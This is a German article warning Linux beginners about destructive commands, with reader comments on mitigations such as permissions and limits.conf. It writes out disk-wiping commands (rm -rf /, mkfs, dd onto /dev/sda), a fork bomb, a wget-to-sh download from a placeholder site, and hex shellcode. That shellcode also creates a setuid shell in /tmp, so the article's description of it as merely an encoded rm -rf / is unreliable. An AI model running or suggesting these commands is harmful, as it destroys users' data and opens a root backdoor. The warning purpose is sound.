Der Informatikstudent Jun Auza hat in seinem TechSource Blog die siebentödlichsten Linux Kommandos zusammengetragen, die von seinen Lesernbereits fleißig um weitere Befehle ergänzt wurden. Jun Auza will mit derAufstellung insbesondere Einsteiger warnen, nicht auf angebliche Tricks von”dummen Leuten” in Foren oder Chats hereinzufallen.
Achtung! Alle im Blog und hier genannten Kommandos zerstörenwirklich ein komplettes Linux-System. Wer sie ausprobieren möchte,sollte sie am Besten in einer abgeschlossenen, virtuellen Maschine loslassen.In jedem Fall erfolgt ihre Anwendung auf eigene Gefahr!
- Ein Klassiker unter den Befehlen ist sicherlich
rm -rf /
Er beginnt beim Wurzelverzeichnis und löscht dann rekursiv alle anderenUnterverzeichnisse ohne weitere Nachfragen. Die Festplatte und sämtlicheeingehängten Datenträger sind anschließend leer.
- Als Abwandlung des ersten Befehls nennt das Blog das ziemlich kryptische
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";Dahinter verbirgt sich nichts anderes als die mit Hex-Zahlen codierte Fassungvon
rm -rf /
Diese unleserliche “Verpackung” soll die wahreFunktion möglichst geschickt verschleiern.
- Etwas schneller als das Löschen aller Verzeichnisse wäre eineFormatierung, zum Beispiel mit dem ext3-Dateisystem:
mkfs.ext3 /dev/sda
Dieser Befehl versetzt die komplette erste Festplatte (sda) ineinen jungfräulichen Zustand.
- Stürzen sich die ersten drei Befehle noch auf Datenträger, wischt
:(){:|:&};:im Hauptspeicher feucht durch. Diese kryptische Zeile ist auch als forkbombbekannt. Sie produziert so lange neue Prozesse, bis das komplette Systemeinfriert und es nebenbei vielleicht noch zu einem Datenverlust kommt. Nimmtman den Befehl in ein Startskript auf, dürfe eine Anmeldung am System zumindestetwas erschwert werden.
- Doch zurück zur Festplatte:
irgendeinkommando > /dev/sda
Dabei steht irgendeinkommando für ein beliebiges Programm, das alsErgebnis ein paar Daten im Terminal ausspuckt. Diese schreibt der Befehl dannohne Umweg auf die erste Festplatte. In der Regel wandern dabei sämtlicheInformationen über die Partitionierung und die Dateisysteme über den Jordan.
- Auch für Linux existieren so genannte Root-Kits. Diese Schadprogrammenisten sich unbemerkt im System ein und verwandeln den PC in einen willenlosenZombie. Um einen Computer zu infizieren, sucht man sich im Internet einepassende Quelle und wirft dann wget an:
wget http://www.unsicherewebseite.com -O- | sh
Dieses Kommando lädt nicht nur den kompletten Internetauftritt vonunsicherewebseite.com herunter, sondern führt auch sämtlichen von dortstammenden Programmcode ohne zu murren aus.
- Als letzte Gefahr nennt Jun Auza in seinem Blog das /dev/nullGerät. Alles, was man dort hinschickt, wie zum Beispiel sein eigenesHeimatverzeichnis:
mv /home/meins/* /dev/null
wandert unwiederbringlich in einen virtuellen Mülleimer.
Wie die nach wie vor stetig wachsenden Kommentare im Blog zeigen, existierennoch viele weitere Methoden, sein Linux-System zu zerstören. Beispielsweisefüllt
dd if=/dev/urandom of=/dev/sda
die komplette erste Festplattemit zufälligen Zahlen.
Als Benutzer sollte man generell allen Befehlen misstrauisch gegenüber stehen,die Root-Rechte verlangen und rm -rf, dd, eine Weiterleitung (via | oder >) oder eine Festplatte (zum Beispiel “/dev/sda”) als Parameter enthalten.






Diese “Deadly Commands” lassen sich ganz einfach entschärfen: Die richtigen Rechte setzen, schon laufen 1), 2), 3) und 5) in’s Leere, das heißt, der normale User bekommt nur eine Fehlermeldung. Weil, normale User haben (bzw. sollten) keine Berechtigung haben /bin/, /sbin und generell / leerzufegen. Und ‘root’ sollte wissen was er tut und erkennen was die Befehle bewirken können. :-) Gegen 3) hilft das setzen von Limits in der /etc/security/limits.conf. Dazu ist sie ja da. Also sind auch solche Forkbombs entschärft. Und gegen Schäden durch 6) und 7) hat man ja Backups von /home. Also alles halb so wild. [1]… Mehr »
Finde gerade die Edit nicht… :-)
> Gegen 3) hilft das setzen von Limits in der /etc/security/limits.conf.
Soll natürlich heißen: Gegen 4) hilft das setzen von Limits in der /etc/security/limits.conf.